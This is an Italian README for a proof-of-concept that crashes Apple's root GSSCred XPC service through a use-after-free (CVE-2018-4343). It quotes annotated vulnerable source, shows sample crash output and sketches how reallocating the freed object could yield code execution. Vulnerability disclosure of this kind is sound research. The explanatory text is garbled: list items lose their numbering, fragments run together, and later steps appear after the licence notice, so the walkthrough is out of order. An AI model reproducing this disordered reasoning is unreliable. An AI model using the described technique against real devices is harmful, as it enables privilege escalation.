
CVE-2018-4343: Prova di concetto per un use-after-free nel demone GSSCred su macOS e iOS.
Il servizio XPC com.apple.GSSCred, che viene eseguito come root su macOS e iOS, non implementa
correttamente il comando "move", portando a una condizione di use-after-free nella funzione do_Move.
Il servizio GSSCred può essere raggiunto dall'interno della sandbox predefinita delle applicazioni su iOS.
Questo programma sfrutta la vulnerabilità per mandare in crash il servizio GSSCred. Ottenere l'esecuzione di codice in GSSCred dipende dalla sovrascrittura della memoria liberata con dati controllati durante la finestra di race. Testato su macOS High Sierra 10.13.2 Beta 17C79a.
Ecco le parti rilevanti di do_Move da Heimdal-520, con alcuni controlli degli errori
non importanti omessi:
//
// 1. from and to are fully controlled UUID objects deserialized from the XPC request.
//
CFUUIDRef from = HeimCredMessageCopyAttributes(request, "from", CFUUIDGetTypeID());
CFUUIDRef to = HeimCredMessageCopyAttributes(request, "to", CFUUIDGetTypeID());
...
//
// 2. credfrom and credto are HeimCredRef objects looked up by the from and to UUIDs.
// CFDictionaryGetValue() returns the objects without adding a reference. Note that if
// the from and to UUIDs are the same, then credfrom and credto will both reference the
// same object.
//
HeimCredRef credfrom = (HeimCredRef)CFDictionaryGetValue(peer->session->items, from);
HeimCredRef credto = (HeimCredRef)CFDictionaryGetValue(peer->session->items, to);
...
//
// 3. credfrom is removed from the dictionary. Since there was only one reference
// outstanding, this causes credfrom to be freed.
//
CFMutableDictionaryRef newattrs = CFDictionaryCreateMutableCopy(NULL, 0, credfrom->attributes);
CFDictionaryRemoveValue(peer->session->items, from);
credfrom = NULL;
...
//
// 4. At this point we check credto. If credfrom and credto refer to the same object, then
// credto is a non-NULL pointer to the freed HeimCredRef object.
//
if (credto == NULL) {
...
} else {
//
// 5. Now we dereference credto, passing a value read from freed memory as a
// CFDictionaryRef object to CFDictionaryGetValue().
//
CFUUIDRef parentUUID = CFDictionaryGetValue(credto->attributes, kHEIMAttrParentCredential);
...
}
Questo codice esegue le seguenti operazioni:
from e to, dalla richiesta XPC. La richiesta è completamente
controllabile, quindi possiamo impostare i valori di questi UUID arbitrariamente. Non viene
verificato se questi due UUID sono uguali.credfrom e credto, corrispondenti rispettivamente agli UUID
from e to. Il dizionario peer->session->items memorizza tutte le credenziali gestite da
GSSCred per conto del programma client attualmente connesso. Nota che la funzione
CFDictionaryGetValue restituisce un riferimento agli oggetti HeimCredRef, ma non ne incrementa
il conteggio dei riferimenti. In particolare, se from e to sono lo stesso UUID, allora
credfrom e credto punteranno entrambi allo stesso HeimCredRef con un conteggio dei
riferimenti di 1 (detenuto dalla CFDictionary che lo contiene).Questo programma non tenta di vincere questa finestra di race. Invece, lascia che il distruttore di
HeimCredRef azzeri il campo attributes, provocando una dereferenziazione di puntatore NULL in
CFDictionaryGetValue.
Per compilare, esegui make. Consulta l'inizio del Makefile per le varie opzioni di build.
L'esecuzione dell'exploit mostrerà la sequenza di messaggi XPC scambiati con GSSCred:
$ ./GSSCred-move-uaf
create: <dictionary: 0x7ff359e07740> { count = 1, transaction: 0, voucher = 0x0, contents =
"attributes" => <dictionary: 0x7ff359e06b60> { count = 5, transaction: 0, voucher = 0x0, contents =
"kHEIMObjectType" => <string: 0x7ff359e06a00> { length = 19, contents = "kHEIMObjectKerberos" }
"kHEIMAttrBundleIdentifierACL" => <array: 0x7ff359e06a70> { count = 1, capacity = 1, contents =
0: <string: 0x7ff359e06aa0> { length = 1, contents = "*" }
}
"kHEIMAttrUUID" => <uuid: 0x7ff359e06b20> AB000000-0000-0000-0000-000000000000
"kHEIMAttrStoreTime" => <date: 0x7ff359e06c60> Sat Dec 09 15:09:56 2017 PST (approx)
"kHEIMAttrType" => <string: 0x7ff359e06ce0> { length = 17, contents = "kHEIMTypeKerberos" }
}
}
Event: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
move: <error: 0x7fff9959cc60> { count = 1, transaction: 0, voucher = 0x0, contents =
"XPCErrorDescription" => <string: 0x7fff9959cfd0> { length = 22, contents = "Connection interrupted" }
}
Gli eventi XPC "Connection interrupted" indicano che la connessione XPC è stata interrotta, probabilmente perché GSSCred è terminato.
Il codice di GSSCred-move-uaf è rilasciato nel pubblico dominio. Per cortesia, ti chiedo che, se fai riferimento o usi questo codice, me ne attribuisca la paternità.
credfrom viene rimosso dal dizionario peer->session->items. Di solito questa
operazione è sicura, perché quando from e to sono UUID diversi, l'oggetto credfrom viene
liberato e non viene più referenziato. Tuttavia, quando from e to sono uguali, ci saranno
problemi, poiché credto viene referenziato successivamente.credto è NULL. Poiché credfrom e credto sono
uguali e credfrom non era NULL, si entra nel ramo else.credto per leggere il campo attributes, che viene passato come
primo parametro a CFDictionaryGetValue. Se la memoria liberata puntata da credto è stata nel
frattempo riallocata e la posizione del campo attributes è cambiata per puntare a un falso
oggetto CFDictionary appositamente costruito, allora dovrebbe essere possibile ottenere
l'esecuzione di codice con questo passaggio.